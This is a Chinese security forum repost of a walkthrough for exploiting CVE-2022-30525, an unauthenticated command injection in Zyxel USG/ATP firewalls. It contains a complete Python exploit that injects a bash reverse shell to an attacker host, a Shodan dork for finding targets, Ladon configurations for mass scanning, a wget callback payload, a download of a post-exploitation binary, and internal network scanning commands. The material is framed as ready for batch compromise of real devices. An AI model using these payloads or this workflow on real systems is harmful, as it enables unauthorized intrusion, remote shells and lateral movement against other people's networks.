安全矩阵

 找回密码
 立即注册
搜索
查看: 742|回复: 0

Laodn漏洞复现cve-2022-30525命令注入

[复制链接]

181

主题

182

帖子

721

积分

高级会员

Rank: 4

积分
721
发表于 2023-2-11 19:33:40 | 显示全部楼层 |阅读模式
本帖最后由 wangqiang 于 2023-2-11 19:36 编辑




    Laodn漏洞复现cve-2022-30525命令注入
    k8gege K8实验室 2023-02-10 08:08 发表于广西  转载自:Laodn漏洞复现cve-2022-30525命令注入
    1. Ladon 10.7 2023.2.8
    2. [u]WhatCMS
    3. ZyXEL USG FLEX 50W
    4. ZyXEL USG20W-VPN
    5. ZyXEL USG
    6. ZyXEL
    7. Citrix Gateway
    8. Citrix ADC
    9. Citrix Login
    10. Citrix Workspace
    11. Citrix

    12. 20230202
    13. [u]WhatCMS
    14. Juniper
    15. 403 Page
    16. RICOH
    17. XAMPP
    18. Zabbix
    19. VMware Horizon
    20. SugarCRM
    21. SharePoint
    复制代码

    简介
    Zyxel公司的一款防火墙,可以提供灵活的 VPN 选项,为远程工作和管理提供灵活的安全远程访问。

    该漏洞被跟踪为CVE-2022-30525,严重性等级为9.8,与Zyxel防火墙选定版本中的命令注入漏洞有关,该漏洞可能使未经身份验证的攻击者能够在底层操作系统上执行任意命令,漏洞过程及检测已公开。



    受影响对象及利用情况
    • USG FLEX 100, 100W, 200, 500, 700
    • USG20-VPN, USG20W-VPN
    • ATP 100、200、500、700、800
    • VPN系列
    台湾公司于4月下旬(ZLD V5.30)发布了该问题的补丁,在与Rapid7协调披露程序后,于5月12日公布。
    仅仅一天后,Shadowserver基金会表示,它开始检测该漏洞的利用企图,发现到大多数易受攻击的设备位于法国,意大利,美国,瑞士和俄罗斯。
    PS:由于漏洞公开已超过半年,外网存在漏洞的防火墙不多了
    漏洞复现
    Poc
    1. # Exploit Title: Zyxel USG FLEX 5.21 - OS Command Injection
    2. # Shodan Dork: title:"USG FLEX 100" title:"USG FLEX 100W" title:"USG FLEX 200" title:"USG FLEX 500" title:"USG FLEX 700" title:"USG20-VPN" title:"USG20W-VPN" title:"ATP 100" title:"ATP 200" title:"ATP 500" title:"ATP 700" title:"ATP 800"
    3. # Date: May 18th 2022
    4. # Exploit Author: Valentin Lobstein
    5. # Vendor Homepage: https://www.zyxel.com
    6. # Version: ZLD5.00 thru ZLD5.21
    7. # Tested on: Linux
    8. # CVE: CVE-2022-30525


    9. from requests.packages.urllib3.exceptions import InsecureRequestWarning
    10. import sys
    11. import json
    12. import base64
    13. import requests
    14. import argparse


    15. parser = argparse.ArgumentParser(
    16.     prog="CVE-2022-30525.py",
    17.     description="Example : python3 %(prog)s -u https://google.com -r 127.0.0.1 -p 4444",
    18. )
    19. parser.add_argument("-u", dest="url", help="Specify target URL")
    20. parser.add_argument("-r", dest="host", help="Specify Remote host")
    21. parser.add_argument("-p", dest="port", help="Specify Remote port")

    22. args = parser.parse_args()

    23. print(args.url)

    24. def main():

    25.     if None in vars(args).values():
    26.         print(f"[!] Please enter all parameters !")
    27.         parser.print_help()
    28.         sys.exit()

    29.     if "http" not in args.url:
    30.         args.url = "https://" + args.url
    31.     args.url += "/ztp/cgi-bin/handler"
    32.     exploit(args.url, args.host, args.port)


    33. def exploit(url, host, port):
    34.     headers = {
    35.         "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0",
    36.         "Content-Type": "application/json",
    37.     }

    38.     data = {
    39.         "command": "setWanPortSt",
    40.         "proto": "dhcp",
    41.         "port": "4",
    42.         "vlan_tagged": "1",
    43.         "vlanid": "5",
    44.         "mtu": f'; bash -c "exec bash -i &>/dev/tcp/{host}/{port}<&1;";',
    45.         "data": "hi",
    46.     }
    47.     requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
    48.     print(f"\n[!] Trying to exploit {args.url.replace('/ztp/cgi-bin/handler','')}")

    49.     try:
    50.         response = requests.post(
    51.             url=url, headers=headers, data=json.dumps(data), verify=False, timeout=5
    52.         )
    53.     except (KeyboardInterrupt, requests.exceptions.Timeout):
    54.         print("[!] Bye Bye hekcer !")
    55.         sys.exit(1)
    56.     finally:

    57.         try:
    58.             print("[!] Can't exploit the target ! Code :", response.status_code)

    59.         except:
    60.             print("[!] Enjoy your shell !!!")


    61. if __name__ == "__main__":
    62.     main()
    复制代码
    用法
    1. python RevShell.py -u https://k8gege.org -r xxxxxxxxx -p 4444
    复制代码

    Ladon批量
    单个URL检测太慢特别是反弹shell也不适合批量检测,所以我们需要配置INI脚本,然后使用Ladon来批量检测,挖掘漏洞。INI插件非常简单,exe填写需要调用的EXE路径,arg填写参数。​​​​​​​
    1. [Ladon]
    2. exe=C:\Users\k8gege\Python310\python.exe
    3. arg=RevShell.py -u $ip$ -r xxxxxxxxx -p 4444
    复制代码
    Ladon渗透NC监听
    在VPS上开启监听,当然也可以用Linux下的NC,如果目标是Windows建议用Ladon的加强版NC,方便执行PowerShell,也方便复制所有命令执行结果。

    批量检测命令
    1. Ladon url.txt CVE-2022-30525.ini
    复制代码

    存在漏洞目标将反弹一个shell到Ladon上,并高亮紫色显示目标IP,同时我们可以执行任意命令,如ID、username等等linux常见命令。

    由于是反弹的,只能控制一个IP,在不修改EXP的情况下,我们可以点击停止监听,再监听,Ladon一样可以接收到其它IP的反弹shell,最后我们通过复制整个文本框就知道哪个IP存在漏洞,


    但这样有点麻烦,最主要是INI调用PY脚本容易卡或各种问题,所以我们需要LadonExp来生成一个完美兼容Ladon更高效的批量POC。
    ​​​​​​​
    1. data = {
    2.         "command": "setWanPortSt",
    3.         "proto": "dhcp",
    4.         "port": "4",
    5.         "vlan_tagged": "1",
    6.         "vlanid": "5",
    7.         "mtu": f'; bash -c "exec bash -i &>/dev/tcp/{host}/{port}<&1;";',
    8.         "data": "hi",
    9.     }
    复制代码

    0x002 LadonExp生成DLL
    将本文的Py脚本做个简单修改即可得到k8经常用的web反弹获取无回显漏洞命令POC,这个和NC是有区别的,一是可轻松批量探测,二协议不一样,NC是TCP协议,WEB是HTTP协议,
    反弹shell方法在渗透中已存在二三十年,被很多杀软或防火墙、或行为监控记录是很正常的。当然本文的防火墙漏洞可能不拦,但对于以后的其它无回显漏洞,反弹shell无论如何都比
    单纯wget下载要高危很多倍,测试是否存在漏洞,不用一开始就反弹。​​​​​​​
    1. Zyxel cve-2022-30525 LadonExp

    2. TargetURL: 反弹监听到的漏洞url
    3. AddURL: /ztp/cgi-bin/handler

    4. Post Data:
    5. {"command": "setWanPortSt", "proto": "dhcp", "port": "4", "vlan_tagged": "1", "vlanid": "5", "mtu": ";wget http://xxxxxxx:800/isvul", "data":"hi"}

    6. ContentType: application/json
    7. Accept: application/json
    复制代码
    填写以上信息后,点击生成DLL并测试POC是否可用

    Ladon渗透Web监听
    当目标存在漏洞,就会通过wget访问我们监听的web, 由于请求的url或post数据或put、cookie不管是什么方法或字段提交过来给Ladon,只要出现isvul和poctest,就自动记录目标IP到isvul.txt
    1. Ladon web 800
    复制代码


    PS:内网渗透zyxel,使用whatcms识别内网zyxel,在CS或其它远控上监听WEB,生成的POC指向内网监听的web地址,然后同样方法,外网怎么渗透的,内网遇到这产品就怎么渗透,
    区别只是Ladon的web在内网监听,当然你也可以一直在VPS上监听,但你不能保证内网的机子都能连到外网,所以这就是Ladon迷你web的最大优势,并不是动不动就apahce、niginx,
    在目标你要安装一个?大家学东西一定要会举一反三,教你用来外网渗透,到内网你就不知道了?只懂通过域控横向?外网可拿权限的各种方法,到内网也是同样思路。
    批量检测
    1. Ladon48 url.txt cve-2022-30525.dll
    复制代码
    检测到存在漏洞的URL,再使用反弹shell获取权限,进行内网渗透



    0x003 后渗透
    使用相关命令查看网络链接、IP段等信息



    从信息上看,防火墙操作系统为mips架构,所以后渗透需要上对应工具,下载Ladon的mips版,该架构在过往思科、DrayTek、RouterOS等路由器也出现过,如果是arm就下载arm版。
    1. wget -O /tmp/1.tmp http://xxxx/Ladon.mips
    复制代码

    ds工下载下

    端口扫描
    通过信息收集发现该防火墙内网中含有多个IP段,使用以下命令探测C段端口资产,可识别端口服务,再根据对应资产使用对应模块扫描。当然也可以把相关命令写一个sh文件里,
    实现一键使用Ladon所有模块扫描的功能。​​​​​​​
    1. Ladon 192.168.93.1/c PortScan
    2. Ladon 192.168.93.1/c ms17010
    3. Ladon 192.168.93.1/c NbtScan
    复制代码


    当然也可以代理出来使用LadonStudy扫描,功能更丰富,使用也方便,对于新手非常友好,分类详细,大部份功能都一键使用。如下图MS17010漏洞

    Zyxel历史上还有很多RCE漏洞,POC基本在exploit-db站点上,其它地址没看到,大家自行测试,本文复现的漏洞,还影响很多版本。

    小结
    本文使用两种方法检测无回显命令执行漏洞,一个是TCP协议的NC反弹SHELL,另一个是无害的HTTP协议的WEB监听。
    Ladon两种快速扩展扫描能力的插件方法,一是INI调用现有POC,二是LadonEXP生成EXP。大家遇到其它漏洞也可以照猫画虎,快速获取批量权限。
    PS: 举一反三,举一反三,确切地说是套公式、套公式
    参考
    无回显命令执行漏洞之Linux渗透方法
    JAVA反序列化漏洞命令执行回显方法

    zy
    umu


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 22:38 , Processed in 0.016106 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表